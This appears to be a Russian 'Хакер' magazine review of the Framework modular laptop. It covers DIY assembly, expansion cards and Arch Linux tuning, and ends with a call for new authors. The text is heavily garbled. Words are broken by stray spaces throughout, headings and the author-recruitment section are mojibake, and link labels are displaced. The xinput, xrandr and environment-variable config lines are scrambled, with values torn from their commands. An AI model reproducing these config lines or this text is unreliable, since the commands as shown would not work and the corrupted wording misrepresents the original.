экра ном выбора фак тичес ки нет: либо одно разо вая игрушка с 16 Гбайт
памяти, либо... ничего.

И вот сре ди все го это го уны ния в начале 2021 года появ ляет ся .
На тот момент он сущес тву ет толь ко в пла нах, но обе щания у ребят впе чат- 
ляющие: нас тоящий модуль ный ноут бук, в котором ничего не впа яно, все ком- 
понен ты лег ко заменя ются и могут быть про апгрей жены без потери гаран тии.
Framework дол жен был стать не прос то ремон топри год ным, как ста рые IBM
или Lenovo ThinkPad, а конс трук тором, с лег ко сме няемы ми модуля ми и воз- 
можностью апгрей да на новые про цес соры.

Framework

Я сде лал пред заказ сра зу, как толь ко появи лась такая воз можность,
и получил ноут бук в середи не августа в чис ле пер вых. Теперь я могу рас ска- 
зать, дей стви тель но ли все так хорошо, как на кар тинках.

WARNING

Это не рек ламный матери ал. Ком пания Framework
не пла тила ни авто ру, ни редак ции. Ноут бук был
куп лен по лич ной ини циати ве авто ра статьи.

FRAMEWORK

Итак, Framework — 13,5-дюй мовый лэп топ, в дан ный момент дос тупный толь- 
ко жителям США и Канады (а так же тем, кто уме ет поль зовать ся услу гами
пересыль щиков). Пос тавля ется в трех кон фигура циях:

Base — i5 (11-й серии), 8 Гбайт RAM, 256 Гбайт SSD;•
Performance — i7, 16 Гбайт RAM, 512 Гбайт SSD;•
Professional — i7 vPro, 32 Гбайт RAM, 1 Тбайт SSD.•

Плюс осо бая кон фигура ция DIY, где мож но заказать ком плек тующие по сво- 
ему вку су и все они при дут в сво их собс твен ных завод ских упа ков ках вмес те
с отвер ткой для вскры тия ноут бука. Имен но такую кон фигура цию я и взял,
выб рав скром ный i5 в качес тве про цес сора (в ноут буках i7 обыч но силь но
трот лится и не рас кры вает свой потен циал), 32 Гбайт опе ратив ки одной план- 
кой и SSD WD BLACK на 512 Гбайт. Обош лось все это в 1115 дол ларов +
200 дол ларов за таможен ное офор мле ние и пересыл ку.

В каком виде все это приш ло, мож но уви деть на изоб ражении ниже.

Пол ный ком плект Framework DIY Edition

Ком плект:
но утбук в собс твен ной короб ке;•
от дель ная короб ка с USB-заряд ником;•
два бумаж ных пакета с ком плек тующи ми и модуля ми рас ширения.•

Внут ри короб ки с ноут буком сра зу находим отвер тку и бес полез ную инс трук- 
цию («нас тоящая» инс трук ция с пошаго вым руководс твом в сти ле iFixit лежит
на сай те).

От вер тка и ману ал

Да лее дос таточ но рас кру тить пять бол тов Torx T5 на ниж ней крыш ке (не бес- 
покой ся, они не выпадут из кор пуса), и вер хняя панель кор пуса с кла виату рой
лег ко сни мет ся, обес печивая дос туп ко всем внут реннос тям ноут бука.

Пос ле сня тия кла виату ры

Ни каких защелок тут нет, вер хняя часть кор пуса дер жится на маг нитах и сни- 
мает ся с при ложе нием очень неболь шого уси лия. Шлейф кла виату ры так же
дос таточ но длин ный, что бы с ком фортом отсо еди нить его вруч ную (а
не выдер нуть из пор та при откры вании, как в боль шинс тве дру гих ноут буков).

Ус тановить допол нитель ные ком понен ты лег ко. Поч ти все внут реннос ти
ноут бука находят ся на одном уров не (не перек рыва ют друг дру га), а мес та
рас положе ния ком понен тов забот ливо под писаны. Единс твен ный воп рос,
воз никший при уста нов ке ком понен тов, — в какой пос ледова тель нос ти под- 
клю чать антенные про вода к адап теру Wi-Fi (белый и чер ный). Со всем
осталь ным спра вит ся и ребенок.

ÌÎÄÓËÈ ÐÀÑØÈÐÅÍÈß

Итак, ком понен ты уста нов лены. Зак ручива ем бол ты обратно (никаких пломб я
не нарушил, их тут прос то нет) и... нет, не вклю чаем, а уста нав лива ем модули
рас ширения.

Де ло в том, что по дефол ту в этом ноут буке нет ни пор тов USB, ни HDMI,
ни кар три дера. Все это добав ляет ся с помощью уста нов ки так называ емых

 в спе циаль ные углубле ния в ниж ней час ти кор пуса.expansion cards

Сло ты для модулей рас ширения

Та кие кар точки (я все-таки буду про дол жать называть их модуля ми рас- 
ширения) быва ют нес коль ких видов:

порт USB-A;•
порт USB-C;•
HDMI-порт;•
DisplayPort;•
SSD;•
кар три дер.•

При чем USB-C надо взять как минимум один, ина че баналь но некуда будет
вот кнуть заряд ку. Осталь ное по сво ему выбору, в моем слу чае это еще один
USB-C и два USB-A (да, мне не нуж ны HMDI и кар три деры).

Мо дули рас ширения

Вты кают ся модули по два с каж дой из сто рон ноут бука. Для сня тия дос таточ- 
но под деть модуль ног тем и вытянуть его, удер живая кноп ку в ниж ней час ти
кор пуса (по одной на каж дые два сло та). Встав ленные, они не люф тят, но для
извле чения надо при ложить опре делен ные уси лия.

Ус тро ены такие модули край не прос то: с той сто роны, которая вты кает ся
в кор пус ноут бука, находит ся впол не обыч ный USB Type-C ште кер, так что все
эти модули, по сути, переход ники с чего-то на USB-C. Менять их мож но пря мо
во вре мя работы.

Ди зайн модулей , поэто му их раз работ кой может занимать ся любой
жела ющий. На офи циаль ном форуме Framework спус тя все го месяц пос ле
начала отправ ки ноут буков уже мож но най ти готовые (рабочие) про екты сле- 
дующих модулей:

от крыт

;• двой ной USB-C
;• RFID-ридер

.• Raspberry Pi Pico

А вот и еще один весь ма инте рес ный про ект, но толь ко в фор ме идеи: 
 с раз личной информа цией.

бо- 
ковой дис плей

Мо дуль-дис плей

 соз датели ноут бука собира ют идеи для новых модулей. Пока лидиру ют:Здесь
Ethernet-адап тер;•
пол нораз мерный кар три дер;•
вы соко качес твен ный ауди овы ход.•

ÎÑ, ÄÐÎÂÀ È ÁÓÁÅÍ

Ког да все будет в сбо ре, мож но под клю чить кабель питания к одно му из пор- 
тов USB-C (да, это дей стви тель но удоб но, ког да сам выбира ешь, в какое мес- 
то кор пуса вты кать кабель питания) и вклю чить ноут бук. В ответ он веж ливо
поп росит вста вить заг рузоч ную флеш ку с инстал лятором ОС.

Уже десять лет на все свои устрой ства я уста нав ливаю , а в слу- 
чае с нас толь ко необыч ным ноут буком Arch с его ваниль ным ядром —
это очень неп лохой спо соб про вер ки ком понен тов ноут бука на сов мести- 
мость с чем-то, отличным от Windows или Ubuntu.

Arch Linux

Ска зано — сде лано, спус тя нес коль ко часов воз ни име ем уста нов ленный
Arch при мер но в . Сра зу замеча ем два бага пер вых
ревизий ноут бука.

та кой кон фигура ции

1. По умол чанию задер жка при заг рузке ноут бука рав на нулю. Гру зит ся быс- 
тро, но вре мени, что бы нажать F2 или F12 (нас трой ки BIOS или в экран
выбора заг рузоч ного носите ля), край не мало. При ходит ся бук валь но дол- 
бить по кла више, пока машина заг ружа ется. Исправ ляет ся через нас трой- 
ки BIOS.

2. Са ма по себе кла виша F12 может не сра ботать. Это под твержден ный баг,
который обе щают испра вить в сле дующих вер сиях про шив ки.

Из того, что сра зу бро сает ся в гла за уже пос ле заг рузки ОС:
не рабо тающие муль тимедий ные кла виши;•
очень нетороп ливое дви жение кур сора при исполь зовании тач пада.•

Пер вая проб лема стан дар тна для Arch Linux, здесь такие вещи каж дый нас- 
тра ивает под себя сам. Вто рая проб лема, вмес те с нерабо тающим тапом
по тач паду, реша ется в три строч ки в :~/.xinitrc

 ID=`xinput list --id-only 'PIXA3854:00 093A:0274 Touchpad'`
  1 xinput set-prop $ID "libinput Tapping Enabled"
 xinput set-prop $ID "Coordinate Transformation Matrix" 1 0 0 0 1 0 0 

0 0.4 

Еще одна проб лема — прек расный экран. В ноут буке уста нов лен 13,5-дюй- 
мовый (к сожале нию, глян цевый) IPS-дис плей BOE NE135FBM-N41 с широким
цве товым охва том, высокой кон трастностью и очень неп лохим запасом
яркости (заяв лено боль ше 400 нит). Проб лема (для Linux-сис темы) толь ко
в том, что это Retina-дис плей с раз решени ем 2256 на 1504 точ ки. Так что
по дефол ту все эле мен ты управле ния очень мел кие и неюза бель ные.

Ре шает ся эта проб лема опять же стан дар тно для Arch Linux — прав кой 
:

~/.
xinitrc

 192 xrandr --dpi
1 export QT_AUTO_SCREEN_SCALE_FACTOR=

1.5 export GDK_DPI_SCALE=

Пер вая коман да уста нав лива ет DPI экра на в 192 DP (ров но в два раза боль ше
стан дар тно го), вто рая — акти виру ет авто мати чес кую подс трой ку интерфей са
в Qt-при ложе ниях, третья — уве личи вает мас штаб гра фичес ких эле мен тов
в GTK-при ложе ниях в пол тора раза.

Лэп топ без проб лем засыпа ет, но, как ска зано в , по умол- 
чанию вмес то глу боко го сна почему-то вклю чает ся неэф фектив ный механизм
s2idle. Это лег ко испра вить такой коман дой:

Wiki Arch Linux

# echo deep > /sys/power/mem_sleep

И зафик сировать изме нение от сбро са в кон фиге GRUB:

=GRUB_CMDLINE_LINUX_DEFAULT "loglevel=3 quiet mem_sleep_default=deep"

# grub-mkconfig -o /boot/grub/grub.cfg

Ска нер отпе чат ков паль цев работа ет без проб лем пос ле уста нов ки ,
добав ления отпе чат ков с помощью  и модифи кации фай лов
PAM. Все осталь ное работа ет из короб ки без вся ких тан цев с буб ном.

fprintd
fprintd-enroll

INFO

Все эти замороч ки при сутс тву ют толь ко в Arch
Linux, дис три бути ве, где все при ходит ся делать
руками. В той же Ubuntu все работа ет из короб ки,
за исклю чени ем режима сна. Он исправ ляет ся
таким же обра зом, как опи сано выше.

ÐÀÇÌÅÐ, ÊËÀÂÈÀÒÓÐÀ, ÒÀ×ÏÀÄ

Эта статья — не обзор ноут бука с точ ки зре ния харак терис тик, эрго номи ки,
качес тва кла виату ры, тач пада или экра на. Во-пер вых, такие обзо ры уже есть,
а во-вто рых, у меня все рав но не получит ся луч ше.

По это му вмес то оче ред ной пузомер ки я пос тара юсь рас ска зать о сво их
лич ных впе чат лени ях как поль зовате ля и пок лонни ка ста рой шко лы — того,
кто любит ста рые модели син кпа дов и не перева рива ет ноут буки Apple (вни- 
мание, даль ше очень мно го субъ ективщи ны).

 Если бы мне пред ложили всле пую напеча тать на этом ноут- 
буке текст, я бы, ско рее все го, ска зал, что это кла виату ра ноут бука HP пре- 
миум-сег мента. Да, кла виату ры HP счи тают ся очень неп лохими, но для такого
челове ка, как я, прак тичес ки любая остров ная сов ремен ная кла виату ра
неудоб на. Да, я поч ти к ней при вык, даже к «скле енной» крес товине, но пос ле
ThinkPad это было сде лать слож но.

Êëà âèàòó ðà.

 Огромный тач пад, как сей час мод но. Судя по отзы вам дру гих
поль зовате лей и собс твен ному опы ту, он весь ма неп лох, и к нему даже мож но
при вык нуть. Но в срав нении с трек пой нтом любой тач пад — это десять шагов
назад.

Òà÷ ïàä.

 Типич ный для устрой ств это го клас са раз мер. Нес мотря
на индекс ремон топри год ности iFixit 10/10, ноут бук не выг лядит тол стым (при- 
мер но в пол тора раза тол ще мак бука). При этом он нем ного шире боль шинс- 
тва уль тра буков прос то из-за экра на с соот ношени ем сто рон 3 : 2. Мас- 
са 1,3 кг, опять же абсо лют но стан дар тная.

Ðàç ìåð.

 Framework исполь зует стан дар тную фор мулу мак буков,
которую сей час мож но най ти пов сюду, от Microsoft до Huawei: матовый алю- 
мини евый кор пус, узкие рам ки вок руг экра на, минимум деталей. При этом
ноут бук изна чаль но кажет ся более при ятным гла зу, чем, нап ример, HP
EliteBook. Единс твен ный упрек — не очень жес ткая фик сация откры той крыш- 
ки. Покачи вает ся при малей шем дви жении.

Ýð ãîíîìè êà.

 Здесь все прек расно, при ком фор тной
для помеще ния яркости и уме рен ном исполь зовании (бра узер, прав ка тек- 
стов, написа ние кода в Vim, некото рое вре мя прос тоя без ухо да в сон) ноут- 
бук про жил десять часов. И кста ти, да, как и любой сов ремен ный ноут бук
с заряд кой от USB Type-C, он может быть запитан от повер банка, глав ное,
что бы пос ледний мог выдать 60 Вт. Вре мя пол ной заряд ки — око ло полуто ра
часов.

Âðå ìÿ æèç íè îò áàòàðåè.

 Про изво дитель ность впол не стан дар тная
для про цес сора i5 11-го поколе ния, поэто му что-то еще добав лять здесь
не име ет смыс ла. Играть на таком ноут буке вряд ли кто-то будет (а если
будет, то ска жу, что Subnautica идет на сред них), а лич но для моих задач,
которые вклю чают веб-сер финг, раз работ ку при ложе ний и написа ние тек- 
стов, его про изво дитель нос ти хва тает за гла за. Тяжелые задачи неп лохо наг- 
рева ют середи ну ниж ней крыш ки и зас тавля ют вен тилятор доволь но силь но
шуметь, но не так, что бы рас пугать всех вок руг. Все осталь ное вре мя девайс
абсо лют но холод ный и бес шумный.

Øóì è ïðî èçâî äèòåëü íîñòü.

 Никог да не исполь зую ноут бук для звон ков по скай пу или зуму.
Так что про камеру и мик рофон могу ска зать толь ко три вещи: камера
на 1080p; камера и мик рофон физичес ки отклю чают ся при зак рытии крыш ки;
есть воз можность отклю чить камеру и мик рофон вруч ную с помощью спе- 
циаль ных перек лючате лей.

Êà ìåðà.

За щел ки камеры и мик рофона

ÁÓÄÓÙÅÅ

Framework позици они рует ся как ноут бук, при год ный для апгрей да. В теории
это дол жно быть устрой ство, которое обес печит сво ему хозя ину мак сималь- 
ную про изво дитель ность на про тяже нии мно гих лет, прос то за счет воз- 
можнос ти апгрей да ком понен тов. В будущее мы заг лянуть не можем,
но можем сде лать некото рые пред положе ния.
1.  В моем ноут буке уста нов лена все го одна план ка памяти объ- 

емом 32 Гбайт. Думаю, что на бли жай шие пару лет это го хва тит с запасом.
Далее мож но купить и уста новить еще одну план ку и получить мак сималь- 
ные для Framework 64 Гбайт.

Ïà ìÿòü.

2.  Про цес сор здесь, разуме ется, несъ емный. Но вся материн- 
ская пла та спро екти рова на так, что бы ее мож но было вынуть одним кус ком
и лег ко заменить дру гой. Судя по форуму, раз работ чики впол не заин- 
тересо ваны в про цес сорах AMD и ARM, так что в будущем воз можно появ- 
ление материн ской пла ты на дру гом про цес соре и даже архи тек туре (и
с боль шим огра ниче нием на мак сималь ную память). Воп рос толь ко в том,
как дол го будет под держи вать ся текущий дизайн шас си.

Ïðî öåñ ñîð.

3.  Оче вид но, что USB-A дожива ет свои дни и через пару-трой ку лет
его окон чатель но вытес нит USB-C. В слу чае с Framework я прос то выкину
два сво их модуля USB-A и закажу еще пароч ку модулей USB-C.

Ïîð òû.

4.  Я бы очень хотел получить такую кла виату- 
ру, ее реали зация не зат рудне на никаки ми тех ничес кими огра ниче ниями.
Но это го, ско рее все го, никог да не слу чит ся.

Êëà âèàòó ðà ñ òðåê ïîé íòîì.

ÂÛÂÎÄÛ

Сто ит ли покупать Framework? Конеч но, сто ит. Даже если нап левать на все
воз можнос ти кас томиза ции и апгрей да, это очень неп лохой ноут бук. За те же
день ги мож но купить HP EliteBook или одну из моделей Lenovo ThinkPad, но,
ско рее все го, она будет менее про изво дитель на, с худ шим экра ном и с впа- 
янной опе ратив ной памятью (при вет новым моделя ми линей ки ThinkPad X).
Сопер ников у Framework в этом ценовом диапа зоне прак тичес ки нет.

Ес ли же тебе нужен ноут бук «ста рой шко лы», то Framework может подой ти
и не подой ти одновре мен но. С одной сто роны, у него прос то прек расный
внут ренний дизайн, поз воля ющий с лег костью заменить любую деталь ноут- 
бука, нарас тить память, обно вить батарею или выкинуть непод ходящий
модуль Wi-Fi. С дру гой — он «слиш ком сов ремен ный». В нем прос то нет тех
эле мен тов, за которые мы любим клас сичес кие ноут буки: трек пой нта, неос- 
тров ной пол ноцен ной кла виату ры, воз можнос ти дать ноут буком по голове
и сра зу про дол жить на нем работать. Все эти качес тва сегод ня в какой-то
мере оста лись исклю читель но в Lenovo ThinkPad, вот толь ко в пла не надеж- 
ности, ремон топри год ности и апгрей да он уже дав но сдал позиции. Так что
выбирать при ходит ся из двух зол: хочешь трек пой нт — жер твуй всем осталь- 
ным.

На конец, иде аль ный вари ант — ког да ты полюбил сов ремен ный дизайн
ноут буков (или сми рил ся с ним), но воз ненави дел то, во что они прев- 
ратились изнутри. В этом слу чае Framework для тебя прос то отличный вари- 
ант, золотой гра аль и свя щен ное руно в одном фла коне. Судя по все му, при- 
мер но в такую ауди торию метили соз датели ноут бука.

mailto:zobnin@glc.ru
https://frame.work/
https://community.frame.work/c/expansion-cards/developer-program/90
https://community.frame.work/t/dual-usb-c-expansion-card-mockup/2325
https://community.frame.work/t/rfid-card-reader-expansion/3233
https://community.frame.work/t/rp2040-microcontroller-expansion-card/2487
https://community.frame.work/t/widget-screen-expansion-card/2614
https://community.frame.work/t/what-new-expansion-card-types-do-you-want-to-see-released/193
https://archlinux.org/
https://xakep.ru/2017/03/22/geek-desktop/
https://wiki.archlinux.org/title/Framework_Laptop


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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